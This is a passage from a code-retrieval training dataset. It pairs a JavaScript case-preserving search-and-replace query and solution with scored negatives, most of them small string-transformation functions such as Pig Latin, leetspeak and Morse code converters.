acc;\n }, '');\n}", "function replacePig() {\n return piglatin(arguments[1]) + '<' + arguments[2] + '>';\n}", "function translateWordsStartingWithVowel(str) {\n return str.replace(/(^[aeiou])(.*)/,\"$1$2way\");\n }", "function printLatinWord(word){\r\n\t// combine the word without its first letter, then the first letter, then 'ay'.\r\n\treturn word.slice(1) + word.slice(0, 1) + \"ay \";\r\n}", "function toPigLatin(userChoice){\n var array= userChoice.split(\" \");\n }", "function repeatingTranslate(sentence) {\r\n let splited = sentence.split(' ');\r\n let vowels = 'aeiouAEIOU'\r\n\r\n let newSentence = splited.map(function (word) {\r\n let lastLetter = word[word.length - 1]\r\n let is\r\n if (word.length < 3) {\r\n return word;\r\n } else {\r\n if (vowels.includes(lastLetter)) {\r\n let repeatedWord = repeater(word) //will return doubles\r\n return repeatedWord;\r\n } else {\r\n let pigLatinWord = pigLatinizer(word)\r\n return pigLatinWord;\r\n }\r\n }\r\n });\r\n let joined = newSentence.join(' ')\r\n return joined;\r\n}", "function translate (inputString){\n let currentChar=\"\";\n let doubleChar =\"\";\n let newWord =\"\";\n for (i = 0; i <= inputString.length -1; i++){\n currentChar = inputString[i];\n if (currentChar !== 'a' && currentChar !== 'e' && currentChar !== 'i' &&\n currentChar !== 'o' && currentChar !== 'u'&& currentChar !== 'y' &&\n currentChar !== 'A' && currentChar !== 'E' && currentChar !== 'I' &&\n currentChar !== 'O' && currentChar !== 'U' && currentChar !== 'Y' &&\n currentChar !== ' '){\n doubleChar = currentChar + 'o' + currentChar;\n newWord = newWord + doubleChar;\n }\n else {\n newWord = newWord + currentChar;\n }\n }\n return (newWord);\n}", "function leetSpeak(string) {\n let newStr = '';\n for (let i = 0; i < string.length; i ++) {\n if (string[i] === 'a' || string[i] === 'A') {\n newStr += '4';\n } else if (string[i] === 'e' || string[i] === 'E') {\n newStr += '3';\n } else if (string[i] === 'g' || string[i] === 'G') {\n newStr += '6';\n } else if (string[i] === 'i' || string[i] === 'I') {\n newStr += '1';\n } else if (string[i] === 'o' || string[i] === 'O') {\n newStr += '0';\n } else if (string[i] === 's' || string[i] === 'S') {\n newStr += '5';\n } else if (string[i] === 't' || string[i] === 'IT') {\n newStr += '7';\n } else {\n newStr += string[i];\n }\n } return newStr;\n}", "function unpigPhrase (phrase) {\n var sentence = phrase.split(' ');\n var unpiggedPhrase = [];\n\n for (var i = 0; i <= sentence.length - 1; i++) {\n unpiggedPhrase.push(unpigWord(sentence[i]));\n };\n return unpiggedPhrase.join(' ');\n}", "function unpigWord ( piggedWord ) {\n return piggedWord.slice( piggedWord.search('-') + 1, -2 ) + piggedWord.slice( 0, piggedWord.search('-'));\n}", "function findLatin(string) {\n let reg = /[ęóąśłżźćń]/ig;\n string = string.toLowerCase();\n let stringArr = [...string],\n newString = \"\";\n\n\n for (let w of stringArr) {\n w = w.replace(reg, replaceLatin(w));\n\n newString += w;\n }\n if (newString) {\n return newString;\n }\n\n\n}", "function solution(string) {\n string = string.split(\"\").map((letter) => {\n if (letter === letter.toUpperCase()) {\n letter = ` ${letter}`;\n }\n return letter;\n });\n return string.join(\"\");\n}", "function encodeWord (s) { // eslint-disable-line no-unused-vars\n return s.replace(/T/g, '7').replace(/A/g, '4').replace(/S/g, '5').replace(/O/g, '0')\n}", "function danish(string) {\n return string.replace(/\\b(apple|blueberry|cherry)\\b/, 'danish');\n}", "function abbreviate(string) {\n return string.split(\" \").map(word => {\n if (word.includes(\"-\")) {\n return word.split(\"-\").map(str => {\n return encodeWord(str);\n }).join(\"-\")\n }\n return encodeWord(word);\n }).join(\" \");\n}", "function toonify(accent, sentence){\n if (accent == 'daffy') {\n var newstr = sentence.replace(/s/g, 'th');\nconsole.log(newstr);\n}\nelse if (accent == 'elmer') {\n var newstr = sentence.replace(/r/g, 'w');\nconsole.log(newstr);\n}}", "function danish(sentence) {\n \nreturn sentence.replace(/\\bapple|blueberry|cherry\\b/, 'danish');\n\n}", "function leetspeak (str) {\n str2 = str.charAt(0).toLowerCase()\n str3 = str.slice(1)\n str4 = str2 + str3\n str4 = str4.replace(/A/gi,4)\n str4 = str4.replace(/E/gi,3)\n str4 = str4.replace(/G/gi,6)\n str4 = str4.replace(/I/gi,1)\n str4 = str4.replace(/O/gi,0)\n str4 = str4.replace(/S/gi,5)\n str4 = str4.replace(/T/gi,7)\n return str4\n}", "function argh(string) {\n // your code\n var sentence = [];\n var word = null;\n var letter = null;\n for(var i = 0; i < string.length ; i++){\n letter = string.charAt(i);\n word = letter.toUpperCase();\n for(var j = 0; j < i; j++){\n word += letter.toLowerCase(); \n }\n sentence.push(word);\n }\n console.log(sentence.join('-'));\n\n}", "function leetify(word) {\n //get the word in all lowercase letters\n var modifiedWord = word.toLowerCase();\n\n //replace all As with the number 4\n modifiedWord = modifiedWord.replace(/a/g, '4');\n\n //replace all Es with the number 3\n modifiedWord = modifiedWord.replace(/e/g, '3');\n\n //replace all Is with the number 1\n modifiedWord = modifiedWord.replace(/i/g, '1');\n\n //replace all Os with the number 0\n modifiedWord = modifiedWord.replace(/o/g, '0');\n\n //send it back\n //console.log(modifiedWord);\n return modifiedWord;\n}", "function leetify(word) {\n //get the word in all lowercase letters\n var modifiedWord = word.toLowerCase();\n\n //replace all As with the number 4\n modifiedWord = modifiedWord.replace(/a/g, '4');\n\n //replace all Es with the number 3\n modifiedWord = modifiedWord.replace(/e/g, '3');\n\n //replace all Is with the number 1\n modifiedWord = modifiedWord.replace(/i/g, '1');\n\n //replace all Os with the number 0\n modifiedWord = modifiedWord.replace(/o/g, '0');\n\n //send it back\n //console.log(modifiedWord);\n return modifiedWord;\n}", "function ifCon(string) {\n if (string.length === 1) {\n return string;\n } else if (string.length > 1) {\n for (i = 0; i < string.length; i++) {\n if (checkIfVowel(string, i)) {\n if (quCheck(string, i)) {\n i = i + 1;\n }\n var endString = string.substr(i);\n var begString = string.substr(0, i);\n var returnString = endString + begString + \"ay\";\n return returnString;\n }\n }\n }\n}", "function toonify(accent, sentence) {\n if(accent === 'daffy') {\n return sentence.replace(/s/g, 'th');\n } else if(accent === 'elmer') {\n return sentence.replace(/r/g, 'w');\n } else if(accent === 'porky') {\n return sentence.replace(/th/g, 'th-th-th-th');\n } else {\n return sentence;\n }\n}", "function translation(words) {\n // words = [\"gin\", \"zen\", \"gig\", \"msg\"]\n \n for (var i = 0; i < words.length; i++) {\n // 1st iteration\n // words[i] => 'gin'\n\n // loop over words[i] (i.e. 'gin')\n var currentWord = words[i];\n // hold our string for our new morsecode word\n var morseCodeWord = '';\n // input => 'gin'\n // output => 'morsecode_gin'\n for (var j = 0; j < currentWord.length; j++) {\n // currentWord[j] = 'g'\n // locate the index of currentWord[j] inside English_alphabet\n var index = English_alphabet.indexOf(currentWord[j])\n // morseCode[index]\n morseCodeWord += morseCode[index];\n }\n // push morseCodeWord into morseCodeArray\n morseCodeArray.push(morseCodeWord);\n\n }\n // locate the index of the character in the english_alphabet\n console.log(morseCodeArray);\n // returns => ['--...-.', '--...-.', '--...--.', '--...--.' ]\n\n // 2nd REQUIREMENT: IDENTIFY DIFFERENT TRANSFORMATIONS\n // SIDE NOTE (My mistake, for this problem we are instructed to return the amount of different transformations that took place)\n var count = 0;\n var differentTypes;\n for (let a = 0; a < morseCodeArray.length; a++) {\n \n //count how many times there is a match in the array\n // 1st iteration morseCodeArray[a] => '--...-.'\n \n // if(morseCodeArray[a] === morseCodeArray[a+1]) {\n // count++;\n // }\n // console.log('output' + count)\n \n // if the current index does not equal an existing transformation in our differentTypes array, then we know that we have another type\n if(differentTypes.includes(morseCodeArray[a]) === false){\n differentTypes.push(morseCodeArray[a])\n }else{\n // do nothing\n }\n }\n\n return 'LOCATED ' + differentTypes.length + ' DIFFERENT TRANSFORMATIONS !';\n}", "function tavuta(s) {\n\t var end = s.length;\n\t var res = [];\n\t\n\t for (var i = s.length - 1; i >= 0; i -= 1) {\n\t var subs = s.substring(i, end);\n\t\n\t if (isConsonant(subs[0]) && isVowel(subs[1])) {\n\t res.push(subs);\n\t end = i;\n\t } else if (isVowel(subs[0]) && isVowel(subs[1])) {\n\t if (subs[0] !== subs[1] && !isDipthong(subs)) {\n\t res.push(subs.substring(1));\n\t end = i + 1;\n\t }\n\t } else if (i === 0) {\n\t res.push(subs);\n\t }\n\t }\n\t\n\t return res.reverse();\n\t}", "function convertAndDisplay(str) {\n\n\t\tvar phon = document.getElementById(\"phonetic\");\n\t\tphon.innerHTML = '';\n\n\t\tvar curr = undefined; /* holds current key */\n\t\tvar next = undefined; /* holds the next key (look-ahead) */\n\n\t\tvar chars = str.toLowerCase().split('');\n\t\tvar charsorig = str.split(''); /* keep non-lowercased string around */\n\t\tvar cursor = 0;\n\n\t\twhile (cursor !== chars.length) {\n\n\t\t\tvar curr = munch(root, chars.slice(cursor), 0);\n\n\t\t\tvar nextcursor = cursor + curr.until;\n\n\t\t\tif (!curr.ipa) { /* partial or no match */\n\t\t\t\tif (curr.until !== 0) { /* partial match */\n\t\t\t\t\tvar content = charsorig.slice(cursor, nextcursor).join('');\n\t\t\t\t\tcreatePinyinElement(phon, 'incomplete', content);\n\t\t\t\t} else { /* no match, unknown character */\n\t\t\t\t\tvar content = charsorig[cursor];\n\t\t\t\t\tcreatePinyinElement(phon, 'ignore', content);\n\t\t\t\t}\n\t\t\t} else { /* match */\n\n\t\t\t\t/* last syllable */\n\t\t\t\tif (chars[nextcursor] === undefined) {\n\t\t\t\t\tcreatePinyinElement(phon, 'pinyin', curr.ipa);\n\t\t\t\t}\n\t\t\t\t/* more to come, deal with combinatory effects */\n\t\t\t\telse {\n\n\t\t\t\t\t/* munch next sequence */\n\t\t\t\t\tvar next = munch(root, chars.slice(nextcursor), 0);\n\n\t\t\t\t\t/* For syllables ending in \"n\" or \"g\", the correct\n\t\t\t\t\t * segmentation depends on the following syllable:\n\t\t\t\t\t * - \"xining\" -> xi-ning, not xin-*ing\n\t\t\t\t\t * - \"danao\" -> da-nao, not dan-ao (Pinyin \"dan'ao\") */\n\t\t\t\t\t// TODO optimization: process two syllables in one go?\n\n\t\t\t\t\tif (chars[nextcursor-1].match(/[ng]/i)) {\n\t\t\t\t\t\tvar altcurr = { until: curr.until-1, ipa: find(root, chars.slice(cursor, nextcursor-1), 0) };\n\t\t\t\t\t\tvar altnext = munch(root, chars.slice(nextcursor-1), 0);\n\t\t\t\t\t\tif (altcurr.ipa && altnext.ipa && altnext.until > next.until) {\n\t\t\t\t\t\t\tcurr = altcurr; /* use the shorter alternative */\n\t\t\t\t\t\t\tnext = altnext;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tvar content = curr.ipa;\n\n\t\t\t\t\t/* Treat isolated -r as erhua-r */\n\t\t\t\t\tif (next.until === 1 && chars[nextcursor] === 'r') {\n\t\t\t\t\t\tcontent += \"ɻ\";\n\t\t\t\t\t\tcontent = content.replace(/[nŋ]ɻ$/i, \"\\u0303ɻ\");\n\t\t\t\t\t\tcurr.until++;\n\t\t\t\t\t}\n\n\t\t\t\t\t/* Tone mark */\n\t\t\t\t\tvar nextchar = chars[cursor+curr.until];\n\t\t\t\t\tif (nextchar && nextchar.match(/[1-4]/)) {\n\t\t\t\t\t\tcontent += tones[parseInt(nextchar)];\n\t\t\t\t\t\tcurr.until++;\n\t\t\t\t\t}\n\n\t\t\t\t\tcreatePinyinElement(phon, 'pinyin', content);\n\t\t\t\t}\n\t\t\t}\n\t\t\tcursor += curr.until || 1;\n\t\t}\n\n\t}", "function reverseWord(string){\n\n}", "function changeVocals (str) {\n //code di sini\n var vocal = [['a','b'],\n ['e','f'],\n ['i','g'],\n ['o','p'],\n ['u','v'],\n ['A','B'],\n ['E','F'],\n ['I','G'],\n ['O','P'],\n ['U','V'],\n ]\n var alphabet = ''\n var isFind = false\n for (var i=0; i < str.length; i++){\n for (j=0; j < vocal.length; j++){\n if (str[i] === vocal[j][0]){\n alphabet += vocal[j][1]\n isFind = true\n }\n }\n if (!isFind){\n alphabet +=str[i]\n }\n isFind = false\n } \n return alphabet\n}", "function swapWord(string) {\n var newWord = string.split('');\n var start = newWord[0];\n var end = newWord[newWord.length - 1];\n newWord[0] = end;\n newWord[newWord.length - 1] = start;\n\n return newWord.join('');\n}", "function hipsterfy(sentence){\n\n var vowels = ['a', 'e', 'i', 'o', 'u'];\n\n var sentArr = sentence.split(' ');\n//iterate through the array:\n for(var i = 0; i < sentArr.length; i++){\n var word = sentArr[i];\n // console.log(word);\n //iterate through the element itself:\n // for(var j = 0; j < word.length; j++)\n\n //reverse forloop, start from the back of string:\n // j >=0, you want to get to index 0 by iterating\n //from largest index position to lowest.\n for(var j = word.length - 1; j >= 0; j--){\n // console.log(word[j]);\n if(vowels.indexOf(word[j]) !== -1){\n // console.log(word[j]);\n // word.replace(word.substring(j, j+1), \"\");\n sentArr[i] = word.slice(0, j) + word.slice(j+1);\n console.log(word);\n break;\n }\n }\n\n }\n return sentArr.join(' ');\n}", "function tongues(code) {\n // array that holds all vowels in the correct order\n const vowelArray = [\"a\", \"i\", \"y\", \"e\", \"o\", \"u\"];\n // array that holds all consonants in the correct order\n const consArray = [\"b\", \"k\", \"x\", \"z\", \"n\", \"h\", \"d\", \"c\", \"w\", \"g\", \"p\", \"v\", \"j\", \"q\", \"t\", \"s\", \"r\", \"l\", \"m\", \"f\"];\n // empty string to hold the translation\n let translatedCode = \"\"\n // seperate the string in an array\n const codeArray = code.split(\"\");\n // loop through the array to access each letter\n for (let i = 0; i < codeArray.length; i++) {\n // set the selected letter to the currentLetter variable\n let currentLetter = codeArray[i];\n // lowercase the currentLetter and save it to the lowerLetter variable; use this variable to check against the arrays above\n let lowerLetter = currentLetter.toLowerCase();\n // set the isVowel variable to false\n let isVowel = false;\n // check to see if the current letter is a vowel or a cons\n for (let j = 0; j < vowelArray.length; j++) {\n if (lowerLetter === vowelArray[j]) {\n isVowel = true;\n };\n };\n // empty string to hold the index of the character\n let charIndex = \"\";\n // empty string to hold the translated letter\n let translatedLetter = \"\";\n // perform character translation if needed\n // if the charcter is not a vowel, use the consonant array\n if (isVowel === false) {\n // save the index of the character\n charIndex = consArray.indexOf(lowerLetter);\n // if the character is not in the array, keep it exactly as it is\n // (ie. blank space, number, or punctuation)\n if (charIndex === -1) {\n translatedLetter = currentLetter;\n // if the character is in the array, move 10 spaces forward, looping to the beginning of the array if needed\n } else {\n charIndex += 10;\n if (consArray.length <= charIndex) {\n translatedLetter = consArray[charIndex - consArray.length]\n } else {\n translatedLetter = consArray[charIndex];\n };\n };\n // if the character is a vowel, use the vowel array\n // move 3 spaces forward, looping to the beginning of the array if needed\n } else {\n charIndex = vowelArray.indexOf(lowerLetter);\n charIndex += 3\n if (vowelArray.length <= charIndex) {\n translatedLetter = vowelArray[charIndex - vowelArray.length]\n } else {\n translatedLetter = vowelArray[charIndex];\n };\n };\n // check to see if the original letter was uppercase, and return it to uppercase if needed\n if (currentLetter !== lowerLetter) {\n translatedLetter = translatedLetter.toUpperCase();\n };\n // add the translated letter onto the string that holds the translated code\n translatedCode += translatedLetter;\n };\n // return the translated code\n return translatedCode;\n}", "function translate(str) {\n var q = \"\";\n str.split(\"\").map(function(p, c) {\n if(p != ' ') q += p + 'o' + p;\n else q += \" \";\n })\n\n return q;\n\n}", "function wordHax(str) {\n \n \n \n for (i = 0; i < strArray.length; i++) {\n var strArray = str.split(\" \");\n }\n if (strArray[i].length > 3)\n {\n \n strArray[i] = strArray[i](/a|e|i|o|u/gi, \"\");\n \n }\n else\n {\n \n x.toUpperCase();\n \n }\n \n }" ]
[ "0.87265253", "0.86137694", "0.86125904", "0.8587584", "0.85815096", "0.85756785", "0.857152", "0.8571477", "0.8566992", "0.85605", "0.8553573", "0.854837", "0.85399777", "0.8489173", "0.8485551", "0.8484349", "0.84458375", "0.843767", "0.84170115", "0.83805746", "0.83746195", "0.835128", "0.83217263", "0.83159465", "0.83143705", "0.82831764", "0.8261379", "0.8254079", "0.8250273", "0.82195526", "0.82166624", "0.8198394", "0.8175161", "0.81353956", "0.8125704", "0.8109819", "0.800329", "0.79104996", "0.7909574", "0.7908767", "0.78893983", "0.7849527", "0.7849049", "0.77449244", "0.7702375", "0.7682235", "0.7628413", "0.7589088", "0.7400501", "0.73647213", "0.7358785", "0.7328787", "0.7310591", "0.73101866", "0.7240687", "0.7166935", "0.7042975", "0.70418596", "0.6997261", "0.69280016", "0.6826787", "0.66993165", "0.66010964", "0.65853024", "0.646266", "0.63885546", "0.6365148", "0.6360044", "0.63370985", "0.62760746", "0.6233691", "0.615801", "0.6082592", "0.60314894", "0.59741056", "0.5932967", "0.58891255", "0.58801574", "0.5772394", "0.5769697", "0.5727765", "0.5721333", "0.5717001", "0.57166994", "0.57142276", "0.5676907", "0.56768537", "0.56768537", "0.5673748", "0.5669193", "0.56684977", "0.5657459", "0.5643279", "0.56241333", "0.5612988", "0.5592855", "0.55797076", "0.5569216", "0.55547714", "0.5540796" ]
0.8638507
1
Search and Replace Perform a search and replace on the sentence using the arguments provided and return the new sentence. First argument is the sentence to perform the search and replace on. Second argument is the word that you will be replacing (before). Third argument is what you will be replacing the second argument with (after). NOTE: Preserve the case of the original word when you are replacing it. For example if you mean to replace the word "Book" with the word "dog", it should be replaced as "Dog"
function myReplace(str, before, after) { if (before.charCodeAt(0) >= 65 && before.charCodeAt(0) <= 90) { after = after.charAt(0).toUpperCase() + after.substring(1); } var strArray = str.split(" "); for (var i = 0; i < strArray.length; i++) { if (strArray[i] === before) { strArray[i] = after; } } str = strArray.join(' '); return str; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function danish(sentence) {\n \nreturn sentence.replace(/\\bapple|blueberry|cherry\\b/, 'danish');\n\n}", "function replaceString(content, search, replace) {\n\t\t\tvar index = 0;\n\n\t\t\tdo {\n\t\t\t\tindex = content.indexOf(search, index);\n\n\t\t\t\tif (index !== -1) {\n\t\t\t\t\tcontent = content.substring(0, index) + replace + content.substr(index + search.length);\n\t\t\t\t\tindex += replace.length - search.length + 1;\n\t\t\t\t}\n\t\t\t} while (index !== -1);\n\n\t\t\treturn content;\n\t\t}", "function replaceString(content, search, replace) {\n\t\t\tvar index = 0;\n\n\t\t\tdo {\n\t\t\t\tindex = content.indexOf(search, index);\n\n\t\t\t\tif (index !== -1) {\n\t\t\t\t\tcontent = content.substring(0, index) + replace + content.substr(index + search.length);\n\t\t\t\t\tindex += replace.length - search.length + 1;\n\t\t\t\t}\n\t\t\t} while (index !== -1);\n\n\t\t\treturn content;\n\t\t}", "function replaceString(content, search, replace) {\n\t\t\tvar index = 0;\n\n\t\t\tdo {\n\t\t\t\tindex = content.indexOf(search, index);\n\n\t\t\t\tif (index !== -1) {\n\t\t\t\t\tcontent = content.substring(0, index) + replace + content.substr(index + search.length);\n\t\t\t\t\tindex += replace.length - search.length + 1;\n\t\t\t\t}\n\t\t\t} while (index !== -1);\n\n\t\t\treturn content;\n\t\t}", "function replaceTerms(text) {\n var replacedText = text;\n var replacements = [\n {term: \"offender\", replacement: \"person with a past criminal judgement\"},\n {term: \"felon\", replacement: \"person who has committed a felony\"},\n {term: \"prisoner\", replacement: \"person in prison\"},\n {term: \"detainee\", replacement: \"person in detention\"},\n {term: \"inmate\", replacement: \"person in prison\"},\n {term: \"convict\", replacement: \"person in prison\"},\n {term: \"ex-con\", replacement: \"person with past experience in prison\"},\n {term: \"ex-convict\", replacement: \"person with past experience in prison\"},\n {term: \"ex-offender\", replacement: \"person with past experience in prison\"},\n {term: \"ex-felon\", replacement: \"person with past experience in prison\"},\n {term: \"parolee\", replacement: \"person on parole\"},\n {term: \"offenders\", replacement: \"people with past criminal judgements\"},\n {term: \"felons\", replacement: \"people who have committed felonies\"},\n {term: \"prisoners\", replacement: \"people in prison\"},\n {term: \"detainees\", replacement: \"people in detention\"},\n {term: \"inmates\", replacement: \"people in prison\"},\n {term: \"convicts\", replacement: \"people in prison\"},\n {term: \"ex-cons\", replacement: \"people with past experience in prison\"},\n {term: \"ex-convicts\", replacement: \"people with past experience in prison\"},\n {term: \"ex-offenders\", replacement: \"people with past experience in prison\"},\n {term: \"ex-felons\", replacement: \"people with past experience in prison\"},\n {term: \"parolees\", replacement: \"people on parole\"},\n ];\n for (var i = 0; i < replacements.length; i++) {\n var r = replacements[i];\n var searchvalue = new RegExp(\"\\\\b\" + r.term + \"\\\\b\", 'gi');\n var newvalue = r.replacement;\n //replacedText = replacedText.replace(searchvalue, newvalue);\n replacedText = replacedText.replace(searchvalue, function(match) {\n return matchCase(newvalue, match);\n });\n }\n return replacedText;\n}", "function myReplace(str, before, after) {\n \n // check if before word is uppercase and match case of after\n if (before[0] === before[0].toUpperCase()){\n var capitalizedAfter = after.replace(after[0], after[0].toUpperCase());\n return str.replace(before, capitalizedAfter);\n }\n\n // check if before word is lowercase and match case of after\n else if (before[0] === before[0].toLowerCase()){\n var lowercaseAfter = after.replace(after[0], after[0].toLowerCase());\n return str.replace(before, lowercaseAfter);\n }\n}", "function myReplace(str, before, after) {\n // if char at first index of before matches itself made uppercase ->\n if (before[0] === before[0].toUpperCase()) {\n // first letter in after is replaced with itself uppercase \n after = after.replace(/[a-z]/i , after[0].toUpperCase());\n }\n // replace word (before) in str with after. Return str\n str = str.replace(before, after);\n return str;\n}", "function replaceText(v)\n{\n //Replace League of Legends with Time Wasting Olympics\n v = v.replace(\n /\\b(?:League of Legends)|(?:Legends of League)\\b/g,\n \"Time Wasting Olympics\"\n );\n v = v.replace(/\\b(?:LEAGUE OF LEGENDS)\\b/g, \"TIME WASTING OLYMPICS\");\n\n //Changes worlds to something more palatable\n v = v.replace(/\\b(?:Worlds)\\b/g, \"NoogieCon2k15\");\n v = v.replace(/\\b(?:worlds)\\b/g, \"NoogieCon2k15\");\n\n //Changes the word Esports\n v = v.replace(/\\b(?:Esports)\\b/g, \"nErdsports\");\n v = v.replace(/\\b(?:esports)\\b/g, \"nErdsports\");\n v = v.replace(/\\b(?:esport)\\b/g, \"nErdsport\"); \n v = v.replace(/\\b(?:esport)\\b/g, \"nErdsport\");\n\n\n\n //Change the word lol and different renditions of it \n v = v.replace(/\\b(?:LOL)\\b/g, \"laugh out loud ;D\");\n v = v.replace(/\\b(?:LoL)\\b/g, \"laugh out loud ;D\");\n v = v.replace(/\\b(?:lol)\\b/g, \"laugh out loud ;D\");\n\n return v;\n}", "function findReplace(text) {\n\n // Retrieve from storage\n var find = \"Python\";\n var replace = \"LAMP\";\n\n text = text.replace(find, replace);\n\n return text;\n}", "function myReplace(str, before, after) {\r\n\ts = str.split(' ');\r\n\ti = str.indexOf(before);\r\n\tfor (var i in s) {\r\n\t\tif (s[i] !== before)\r\n\t\t\tcontinue;\r\n\t\tif (s[i][0].toLowerCase() !== s[i][0]) {\r\n\t\t\ts[i] = after;\r\n\t\t\ts[i] = s[i][0].toUpperCase() + after.slice(1);\r\n\t\t} else {\r\n\t\t\ts[i] = after;\r\n\t\t}\r\n\t}\r\n\treturn s.join(' ');\r\n}", "function strReplace(search, replace, subject) {\n var pos = 0;\n while ((pos = subject.indexOf(search, pos)) !== -1) {\n subject =\n subject.slice(0, pos) +\n replace +\n subject.slice(pos + search.length);\n pos += replace.length;\n }\n return subject;\n}", "function myReplace(str, before, after) {\n\n\t// add this to ensure multiple matches\n\tconst pattern = new RegExp(before, 'gi');\n\n\t// handle the Note case given:\n\tconst isLowerCase = function(txt) {\n\t\treturn txt == txt.toLowerCase() && txt != txt.toUpperCase();\n\t}\n\t\n\t// define a replacer callback\n\tconst replacer = function (match) {\n\t\tif (isLowerCase(match.substr(0,1))) {\n\t\t\treturn after;\n\t\t}\n\t\telse {\n\t\t\treturn after.substr(0,1).toUpperCase() + after.substr(1);\n\t\t}\n\t}\n\n \tstr = str.replace(pattern, replacer);\n\n \treturn str;\n\n}", "function str_replace(search, replace, subject) {\r\n\treturn subject.split(search).join(replace);\r\n}", "function replace(input, searchValue, replaceValue) {}", "function myReplace(str, before, after) {\n // Find index where before is on string\n var index = str.indexOf(before);\n // Check to see if the first letter is uppercase or not\n if (str[index] === str[index].toUpperCase()) {\n // Change the after word to be capitalized before we use it.\n after = after.charAt(0).toUpperCase() + after.slice(1)\n }\n // Now replace the original str with the edited one.\n str = str.replace(before, after)\n return str;\n}", "function myReplace(str, before, after) {\n let array = str.split(' ');\n let beginning = array.indexOf(before);\n let beforeArray = before.split('');\n let newAfter;\n let finalAfter;\n if (before[0] === before[0].toUpperCase()) {\n newAfter = after.split('');\n finalAfter = newAfter[0].toUpperCase() + newAfter.slice(1).join('');\n } else {\n finalAfter = after;\n }\n array.splice(beginning, 1, finalAfter);\n return array.join(' ');\n}", "function replace(str, search, replacements) {\n\t str = toString(str);\n\t search = toArray(search);\n\t replacements = toArray(replacements);\n\n\t var searchLength = search.length,\n\t replacementsLength = replacements.length;\n\n\t if (replacementsLength !== 1 && searchLength !== replacementsLength) {\n\t throw new Error('Unequal number of searches and replacements');\n\t }\n\n\t var i = -1;\n\t while (++i < searchLength) {\n\t // Use the first replacement for all searches if only one\n\t // replacement is provided\n\t str = str.replace(\n\t search[i],\n\t replacements[(replacementsLength === 1) ? 0 : i]);\n\t }\n\n\t return str;\n\t }", "function myReplace(str, before, after) {\n\tlet arrayFromStr = str.split(' ');\n\n\tlet newArrayFromStr = arrayFromStr.map((word) => {\n\t\tif (word === before && after[0] === after[0].toUpperCase()) {\n\t\t\treturn (word = after.charAt(0).toUpperCase() + after.substring(1));\n\t\t} else if (word === before && word[0] === word[0].toUpperCase()) {\n\t\t\treturn (word = after.charAt(0).toUpperCase() + after.substring(1));\n\t\t} else if (word === before) {\n\t\t\treturn (word = after);\n\t\t} else {\n\t\t\treturn (word = word);\n\t\t}\n\t});\n\n\treturn newArrayFromStr.join(' ');\n}", "function myReplace(str, before, after) {\n var b = before.split('');\n var a = after.split('');\n if (b[0] === b[0].toUpperCase()){\n a[0] = a[0].toUpperCase();\n }\n else if (b[0] === b[0].toLowerCase()){\n a[0] = a[0].toLowerCase();\n }\n after = a.join('');\n\n return str.replace(before, after);\n}", "function myReplace1(str, before, after) {\n // Find index where before is on string\n var index = str.indexOf(before);\n // Check to see if the first letter is uppercase or not\n if (str[index] === str[index].toUpperCase()) {\n // Change the after word to be capitalized before we use it.\n after = after.charAt(0).toUpperCase() + after.slice(1);\n } else {\n // Change the after word to be uncapitalized before we use it.\n after = after.charAt(0).toLowerCase() + after.slice(1);\n }\n // Now replace the original str with the edited one.\n str = str.replace(before, after);\n\n return str;\n}", "replaceAll(str, term, replacement) {\n return str.replace(new RegExp(term, 'ig'), replacement);\n }", "function doReplacement(str) {\n\n\t\t// replace a bunch of common words and phrases with VICEisms\n\t\t// NOTE: I'm not sure how well this scales, but it's about as good\n\t\t// as JS can do.\n\t\treturn str\n\t\t\t.replace(/\\s(a\\s*)?man\\s/g, ' some guy ')\n\t\t\t.replace(/\\sdoctor[\\s\\.]/g, ' my dealer ')\n\t\t\t.replace(/\\sdoctors[\\s\\.]/g, ' the people at my dispensery ')\n\t\t\t.replace(/\\sscientist[\\s\\.]/g, ' some smart guy ')\n\t\t\t.replace(/\\sscientists[\\s\\.]/g, randomCurseWord('some', 'nerds'))\n\t\t\t.replace(/\\sscience[\\s\\.]/g, ' cool stuff ')\n\t\t\t.replace(/\\smany\\s/g, ' a lot of ')\n\t\t\t.replace(/\\s(in)?\\s*the\\s*world[\\s\\.]/g, ' somewhere outside of Brooklyn ')\n\t\t\t.replace(/\\smy\\s/g, randomCurseWord('my', ''))\n\t\t\t.replace(/\\syour\\s/g, randomCurseWord('your', ''))\n\t\t\t.replace(/\\shis\\s/g, randomCurseWord('his', ''))\n\t\t\t.replace(/\\sher\\s/g, randomCurseWord('her', ''))\n\t\t\t.replace(/\\sa\\s/g, randomCurseWord('a', ''));\n\n\t\t// TODO: insert random VICEy phrases\n\t}", "function replaceAll(text, search, replacement) {\n\n // replace all and return\n // NOTE! the reson we use split() join() and not regex is to handle special characters in regex; to handle them\n // we needed to escape them first, which is another regex. two regex are not so efficient comparing to split().join().\n return text.split(search).join(replacement);\n}", "function myReplace(str, before, after) {\n // Preserve the case && Strings are immutable\n if (before.toLowerCase() != before) {\n after = after.slice(0, 1).toUpperCase() + after.slice(1, after.length);\n }\n return str.replace(before, after);\n}", "function myReplace(str, before, after) {\n var index = str.indexOf(before);\n if(str[index] === str[index].toUpperCase() ) {\n after = after.charAt(0).toUpperCase() + after.slice(1);\n } else {\n after = after.charAt(0).toLowerCase() + after.slice(1);\n }\n str = str.replace(before, after);\n \n return str;\n \n }", "function myReplace(str, before, after) {\r\n var str2= str.split(' ')\r\n for(var i= 0; i<str2.length; i++){\r\n if(str2[i]=== before){\r\n str2[i]=after\r\n var letra=before[0]// letra de antes\r\n //console.log(letra)\r\n if(letra === letra.toUpperCase()){ \r\n//console.log('meh')\r\n var letra2= after[0].toUpperCase() \r\n var after2=after.slice(1)\r\n //console.log(letra2+after2)\r\n str2.splice(i, 1, letra2+after2)\r\n }else{\r\n var letra2= after[0].toLowerCase()\r\n console.log('meee')\r\n str2.splice(i, 1, letra2+after.slice(1))\r\n }\r\n }\r\n }\r\n var str3= str2.join(' ')\r\n return str3;\r\n}", "function replace2(haystack, needle, replacement){\n const replaced = haystack\n .split(' ')\n .map(str => str === needle ? replacement : str)\n .join(' ');\n\n return replaced;\n}", "function myReplace(str, before, after) {\n // Check case if lower or upper\n if(before !== before.toLowerCase()){ // if upper\n after = after.charAt(0).toUpperCase() + after.slice(1);\n }\n return str.replace(before, after);\n}", "function changeText (paragraph) {\n newParagraph1 = paragraph.replace(/strawberry|Strawberry/g, \"banana\");\n newParagraph2 = newParagraph1.replace(/strawberries|Strawberries/g, \"bananas\");\n\n//4. Given the following 